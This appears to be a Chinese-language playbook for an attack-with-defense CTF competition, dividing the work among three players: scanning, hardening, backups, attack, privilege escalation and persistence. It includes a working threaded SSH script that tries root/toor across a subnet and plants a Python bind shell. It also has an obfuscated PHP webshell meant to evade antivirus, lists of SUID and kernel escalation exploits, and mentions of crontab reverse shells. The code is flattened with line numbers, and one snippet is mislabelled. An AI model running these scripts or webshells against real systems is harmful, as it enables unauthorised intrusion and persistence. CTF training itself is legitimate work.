AWD总结-Like4h
节奏就是先紧后松、就是刚开始的时候是最忙碌的三个队员要配合好、做好自己的工作
开局
三人分工
A
主机探测、找到对手、信息搜集、协助防守(上简单waf-watchbird)
主机探测
1 2 3 4 5 6 nmap -sn 192.168.0.0/24 扫描C段主机 postsacn httpscan.py 192.168.0.0/24 -t 30 扫描C段主机+线程
端口探测
1 2 3 4 5 6 7 nmap -sV 192.168.0.1 扫描主机系统版本 nmap -sS 192.168.0.1 扫描主机常用端口 nmap -sS -p 80,445,3306,8080,8888 192.168.0.1 扫描主机部分端口 nmap -sS -p- 192.168.0.1 扫描主机全部端口
详细的将对手的ip快速搞清楚、并快速的导出可利用的txt文本
信息搜集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 netstat -ano/-a 查看端口情况 uname -a 系统信息 ps -aux ps -ef 进程信息 cat /etc/passwd 用户情况 ls /home 用户情况 id 用于显示用户id及所属群组id find / -type d -perm -002 可写目录检查 蚁剑的插件 /var/tmp 可写可执行 root ctf 1000 sudo grep -r "flag" /var/www/html 查找默认flag
上waf(第三方通防)
watchbird
Aoiawd
1 2 3 4 web上watchbird 1、上传waf.so watchbird.php到网站根目录 2、安装php watchbird.php --install /var/www/html 3、打开/index.php?watchbird=ui
B
快速防守(删除可能存在的一句话)、网站备份、网站环境定位、口令更改
网站备份
压缩
1 2 3 tar -cvf web.tar /var/www/html zip -q -r web.zip /var/www/html
解压
1 2 3 tar -xvf web.tar -c /var/www/html unzip web.zip -d /var/www/html
备份到服务器
1 2 3 mv web.tar /tmp mv web.zip /home/test
上传下载文件
1 2 3 4 5 scp username@servername:/path/filename /tmp/local_destination 从服务器下载单个文件到本地 scp /path/local_filename username@servername:/path 从本地上传单个文件到服务器 scp -r username@servername:remote_dir/ /tmp/local_dir 从服务器下载整个目录到本地scp -r /tmp/local_dir username@servername:remote_dir 从本地上传整个目录到服务器
数据库建立远程连接
MySQL 5.7版本使用如下(可能5的版本都适用)
1 2 3 4 5 6 7 8 # 1. 登录 mysql -uroot -pmysql # 2. 授权root用户对所有数据库在任何ip都可以进行操作 grant all on *.* to root@"%" identified by "mysql" with grant option; # 3. 刷新数据库 flush privileges;
MySQL 8版本因为不支持上面语法,所以设置远程登录 不一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 以下操作为用户名root 密码 mysql作为示例,具体可以根据自己的数据库设置而定 # 1. 登录 mysql -u root -pmysql # 2. 第二步 create user 'root'@'%' identified by 'mysql'; # 3. 修改密码为永不过期 alter user 'root'@'%' identified by 'mysql' password expire never; # 4. 修改密码并指定MySQL用户登录密码加密规则为mysql_native_password alter user 'root'@'%' identified with mysql_native_password by 'mysql'; # 5. 授权 grant all on *.* to 'root'@'%'; # 6. 刷新 flush privileges;
数据库备份
1 2 3 4 5 6 7 8 9 10 11 12 13 数据库配置信息一般可以通过如config.php/web.conf等文件获取。 备份整个数据库 mysqldump -u root -h host -p dbname > backdb.sql 备份指定数据库 mysqldump -u -p --all-databases > backdb.sql 备份系统中所有数据库 mysqldump -all -databases dbname1, dbname2 > backdb.sql 导入数据库 mysql -u username -p passwd database < bak.sql mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库 cd /var/lib/mysqlmysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
口令更改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 信息收集后,将未授权和弱口令问题及时修复,服务器ssh口令、数据库口令和web服务口令 passwd username ssh口令修改 set password for mycms@localhost = password('123'); MySQL密码修改 find /var/www/html -path 'config' 查找配置文件中的密码凭证 密码: r9$ 6Hlu$zXp2I055sS &OkMl N@1vWvyO0ilkZM!bbUwhz43 Pf4W!oEltoA#fg4yJOOZoUP 817S!KLQnBkTJOchtQZM&Yo
快速删除一句话木马
如果没有root权限的账号
查看ctf账号权限UID是否小于500
写木马杀死不死马进程
1 2 3 4 如果登录的www-data没有权限的话那就执行php来进行操作 <?php system ("kill -9 pid;rm -rf .shell.php" );?> php kill.php
组件发现
1 2 3 4 5 6 7 find / -name "nginx.conf" 定位nginx目录 find / -path "nginx" -name nginxconf 定位nginx配置目录 find / -name "httpd.conf" 定位apache目录 find / -path "apache" -name apacheconf 定位apache配置目录
网站定位
1 find / -name "index.php" 定位网站目录
日志发现
1 2 3 4 5 6 7 8 9 /var/log/nginx/ 默认nginx日志目录 /var/log/apache/ 默认apache日志目录 /var/log/apache2/ 默认apache日志目录 /usr/local/tomcat/logs tomcat日志目录 tail -f xxxx.log 实时刷新滚动日志文件
C
快速攻击利用可能预留的一句话
直接攻击
ssh连接写马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import paramikoimport threadingimport queueimport timeq=queue.Queue() def ssh_base_pwd (ip,port,username,passwd,cmd ): port = int (port) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=ip, port=port, username=username, password=passwd) stdin,stdout,stderr = ssh.exec_command(cmd) result = stdout.read() if not result : result = stderr.read() ssh.close() return result.decode() def main (x ): shell = ''' #服务器端 import socket import os s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接 s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量 con,addr=s.accept() #接受一个客户端的连接 #print(con,addr) for i in range(10): cmd=con.recv(1024) print(cmd) command=cmd.decode() if command.startswith('cd'): os.chdir(command[2:].strip()) #切换路径 result=os.getcwd() #显示路径 else: result=os.popen(command).read() if result: con.send(result.encode()) else: con.send(b'OK!') ''' cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py' port = '22' username = 'root' passwd = 'toor' ip = '192.168.1.{}' .format (x) q.put(ip.strip(),block=True , timeout=None ) ip_demo=q.get() try : res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id' ) if res: print ("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]" ) ssh_base_pwd(ip_demo,port,username,passwd,cmd) except : print ("[ - ]Ip: %s" % ip_demo +" is Failed" ) if x > 255 : print ("Finshed!!!!!!!!" ) q.task_done() th=[] th_num=255 for x in range (th_num): t=threading.Thread(target=main,args=(x,)) th.append(t) for x in range (th_num): th[x].start() for x in range (th_num): th[x].join()
一句话利用(1):简单易理解
脚本---->批量全套spa
一句话利用(2):需要先获取一句话地址,b选手快速写个循环
脚本---->批量全套spa
一句话利用(3):写不死马
脚本---->批量全套spa
后续
面临的问题
如果不是root权限的用户、我们需要进行ctf权限的提取
提权
Ubuntu常用提权
先检查是在docker容器里面还是在虚拟机文件里面
1 2 3 4 5 cat /proc/1/cgroup 原理:容器是通过 cgroup 实现资源限制,判断容器是否在一个 cgroup 组中 ls -la / 检查根目录下是否存在.dockerenv文件
CVE-2022-0847 --上来直接试这个
1 2 3 Linux Kernel版本 >= 5.8 Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
CVE-2021-3493
1 2 3 4 5 Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM
CVE-2021-4034-Polkit权限提升漏洞
受影响linux :
2009年5月至 2022 年1月26日发布的所有 Polkit 版本
Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia 等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。
受影响国产化操作系统:
银河麒麟高级服务器操作系统 V10
银河麒麟高级服务器操作系统 V10 SP1
银河麒麟高级服务器操作系统 V10 SP2
统信 UOS 服务器操作系统 V20
银河麒麟桌面版操作系统 V10
银河麒麟桌面版操作系统 V10 SP1
统信 UOS 桌面版操作系统 V20
中标麒麟桌面版操作系统 V7.0
版本检测:
Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:
CentOS、RedHat 系列:
Debian、Ubuntu 系列:
不受影响版本
CentOS:
1 2 3 4 5 CentOS 6:polkit-0.96-11.el6_10.2 CentOS 7:polkit-0.112-26.el7_9.1 CentOS 8.0:polkit-0.115-13.el8_5.1 CentOS 8.2:polkit-0.115-11.el8_2.2 CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
1 2 3 4 5 Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1 Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1 Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6 Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2 Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
1 2 3 4 Debain stretch:policykit-1 0.105-18+deb9u2 Debain buster:policykit-1 0.105-25+deb10u1 Debain bullseye:policykit-1 0.105-31+deb11u1 Debain bookworm,bullseye:policykit-1 0.105-31.1
1 2 3 4 5 pkexec 本地提权 Github地址:https://github.com/berdav/CVE-2021-4034 通杀乌班图和centos
脏牛内核提权-CVE-2016-5195
1 3.9>Linux kernel >=2.6.22
CVE-2017-16995 ubuntu内核漏洞
1 2 Linux Kernel Version 4.14 ~ 4.4.0 ubuntu16
CVE-2021-3156-Linux sudo权限提升漏洞(CVE-2021-3156)
1 2 3 4 5 6 7 sudo 1.8.2 - 1.8.31p2 sudo 1.9.0 - 1.9.5p1 查看sudo版本 命令:sudo --version
poc
SUID提权检查脚本
suidcheck
常见
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ; git提权 find 提权 PIP提权 ed提权 wge提权 apt提权 ZIP提权 taskset提权 sed提权 tmux提权 scp提权 perl提权 bash提权 less提权 awk提权 man提权 vi提权 env提权 f't'p
Linux-exploit-check
Linux-ecploit-check
2
如果有检查机制不允许使用通防的waf,那么我们的watcbird就不能使用了
WAF
文件监控 ->记录文件的增删
流量监控 ->抓自己被攻击的流量、流量包里面有没有恶意的代码:命令执行的、
flag替换
挖洞
也就是代码审计,使用工具自己在切入点,一般是文件上传漏洞、命令执行漏洞、xss漏洞、反序列漏洞
代码审计
使用工具:
seay代码审计工具
昆仑镜代码审计工具
流量监控、日志查询
流量抓包审计POST的流量包
Nginx和Apache的运行日志,主要查询访问记录,注意POST和GET的包
权限维持
过盾一句话
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $_ ='%99%88%8D%96%8B%9A' ;$pass ='a' ;$rand_ =rand ();$a =$_POST [$pass ];$file =md5 ('shadowwolf' );$shell ='<?php ' .$a .' ?>' ;$myfile = fopen ($file , "w" );(~urldecode ($_ ))($myfile , $shell ); include $file ;?> 密码是:a
不死马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );define ('LOG_FILENAME' , 'Catch-pwd.txt' ); function waf ( ) { if (!function_exists ('getallheaders' )) { function getallheaders ( ) { foreach ($_SERVER as $name => $value ) { if (substr ($name , 0 , 5 ) == 'HTTP_' ) $headers [str_replace (' ' , '-' , ucwords (strtolower (str_replace ('_' , ' ' , substr ($name , 5 ))))) ] = $value ; } return $headers ; } } $get = $_GET ; $post = $_POST ; $cookie = $_COOKIE ; $header = getallheaders (); $files = $_FILES ; $ip = $_SERVER ["REMOTE_ADDR" ]; $method = $_SERVER ['REQUEST_METHOD' ]; unset ($header ['Accept' ]); $input = array ( "Get" => $get , "Post" => $post , "Cookie" => $cookie , "File" => $files , "Header" => $header ); logging ($input ); } function logging ($var ) { date_default_timezone_set ("Asia/Shanghai" ); $time =date ("Y-m-d H:i:s" ); file_put_contents (LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r ($var , true ) , FILE_APPEND); } waf ();?>
crontab ->定时任务写马、写反弹shell、自己cat自己的flag
bash反弹shell
1 2 3 4 5 6 python bash php java 定时 计划任务
不死马的查杀
重启 。。。。
kill -9
搅屎棍
蚁剑流量重放
webshell
burp重放